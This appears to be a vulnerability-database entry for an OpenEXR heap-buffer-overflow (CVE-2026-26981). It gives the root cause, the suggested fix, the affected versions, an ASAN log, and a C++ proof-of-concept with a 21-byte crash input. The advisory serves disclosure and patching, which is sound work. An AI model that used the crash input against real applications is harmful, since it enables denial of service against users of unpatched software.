    #3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29
    #4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9
    #5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24
    #6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10
    #7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18
    #8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49
    #9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const&, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10
    #10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7
    #11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7
    #12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31
    #13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5
    #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5
    #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)

0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)
allocated by thread T0 here:
    #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)

SUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy
==305348==ABORTING

Impact

DoS — Any application that opens a crafted EXR file will crash immediately
CWE-195 (Signed to Unsigned Conversion Error) → CWE-122 (Heap-based Buffer Overflow)
Affects any application using an IStream implementation where isMemoryMapped() returns true

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Impacted products

Name	purl
openexr	pkg:pypi/openexr

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "openexr",
        "purl": "pkg:pypi/openexr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.3.7"
            },
            {
              "introduced": "3.4.0"
            },
            {
              "fixed": "3.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.3.0",
        "3.3.1",
        "3.3.2",
        "3.3.3",
        "3.3.4",
        "3.3.5",
        "3.3.6",
        "3.4.0",
        "3.4.1",
        "3.4.2",
        "3.4.3",
        "3.4.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26981",
    "GHSA-q6vj-wxvf-5m8c"
  ],
  "details": "## Summary\n\nA heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`.\n\n## Affected Version\n\n- OpenEXR **main branch** (commit at time of testing)\n- `src/lib/OpenEXR/ImfContextInit.cpp`, lines 121\u2013136\n\n## Root Cause\n\n`ImfContextInit.cpp:121-126`:\n\n```cpp\nint64_t stream_sz = s-\u003esize ();           // e.g., 21 (actual file size)\nint64_t nend = nread + (int64_t)sz;       // e.g., 17 + 4096 = 4113\nif (stream_sz \u003e 0 \u0026\u0026 nend \u003e stream_sz)\n{\n    sz = stream_sz - nend;                // 21 - 4113 = -4092 (signed)\n}\n// ...\nmemcpy (buffer, data, sz);               // sz is size_t \u2192 wraps to 0xFFFFFFFFFFFFF004\n```\n\n`sz` is of type `size_t` (unsigned), but `stream_sz - nend` yields a negative `int64_t` value. This negative value is implicitly converted to `size_t`, wrapping around to a value close to `2^64`, which is then passed to `memcpy` causing a heap-buffer-overflow.\n\n**Suggested fix:** `sz = stream_sz - nend` \u2192 `sz = stream_sz - nread`\n\n## Reproduce\n\nBuild OpenEXR as static libraries with ASAN enabled, then compile the PoC below.\n\n**PoC Code:**\n\n```cpp\n#include \u003ccstdint\u003e\n#include \u003ccstring\u003e\n#include \u003ciostream\u003e\n\n#include \u003cImfMultiPartInputFile.h\u003e\n#include \u003cImfInputPart.h\u003e\n#include \u003cImfHeader.h\u003e\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER\n\nclass MemMapIStream : public IStream\n{\npublic:\n    MemMapIStream (const uint8_t* data, size_t len)\n        : IStream (\"poc_input\")\n        , _data (reinterpret_cast\u003cconst char*\u003e (data))\n        , _size (static_cast\u003cint64_t\u003e (len))\n        , _pos (0)\n    {}\n\n    bool isMemoryMapped () const override { return true; }\n\n    bool read (char c[], int n) override\n    {\n        int64_t avail = (_pos \u003c _size) ? (_size - _pos) : 0;\n        int64_t copy  = (static_cast\u003cint64_t\u003e (n) \u003c avail) ? n : avail;\n        if (copy \u003e 0) memcpy (c, _data + _pos, copy);\n        _pos += n;\n        return _pos \u003c= _size;\n    }\n\n    char* readMemoryMapped (int n) override\n    {\n        if (_pos + n \u003e _size)\n            throw IEX_NAMESPACE::InputExc (\"read past end\");\n        const char* p = _data + _pos;\n        _pos += n;\n        return const_cast\u003cchar*\u003e (p);\n    }\n\n    uint64_t tellg () override { return static_cast\u003cuint64_t\u003e (_pos); }\n    void     seekg (uint64_t pos) override { _pos = static_cast\u003cint64_t\u003e (pos); }\n\n    int64_t size () override { return _size; }\n\nprivate:\n    const char* _data;\n    int64_t     _size;\n    int64_t     _pos;\n};\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT\n\nint main ()\n{\n    static const uint8_t crash_data[] = {\n        0x76, 0x2f, 0x31, 0x01,\n        0x02, 0x06, 0x00, 0x00,\n        0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,\n        0x20, 0x00, 0x00,\n        0x53, 0x00, 0x00, 0x00\n    };\n\n    try\n    {\n        Imf::MemMapIStream stream (crash_data, sizeof (crash_data));\n        Imf::MultiPartInputFile file (stream);\n    }\n    catch (const std::exception\u0026 e)\n    {\n        std::cout \u003c\u003c \"Exception: \" \u003c\u003c e.what () \u003c\u003c \"\\n\";\n    }\n\n    return 0;\n}\n```\n\n**PoC Input:** https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link\n\n## ASAN Log\n\n```\n==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)\n    #0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21\n    #2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16\n    #3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29\n    #4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9\n    #5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24\n    #6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10\n    #7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18\n    #8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49\n    #9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const\u0026, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10\n    #10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const\u0026, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7\n    #11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream\u0026, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7\n    #12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31\n    #13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5\n    #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5\n    #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n    #21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\n0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)\nallocated by thread T0 here:\n    #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n    #7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\nSUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy\n==305348==ABORTING\n```\n\n## Impact\n\n- **DoS** \u2014 Any application that opens a crafted EXR file will crash immediately\n- **CWE-195** (Signed to Unsigned Conversion Error) \u2192 **CWE-122** (Heap-based Buffer Overflow)\n- Affects any application using an `IStream` implementation where `isMemoryMapped()` returns `true`",
  "id": "PYSEC-2026-2849",
  "modified": "2026-07-13T16:05:25.769101Z",
  "published": "2026-07-13T14:36:48.582513Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26981"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AcademySoftwareFoundation/openexr"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/openexr"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-q6vj-wxvf-5m8c"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-Q6VJ-WXVF-5M8C

Summary

Affected Version

Root Cause

Reproduce

ASAN Log

Impact

CVE-2026-26981 (GCVE-0-2026-26981)

PYSEC-2026-2849

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Root Cause

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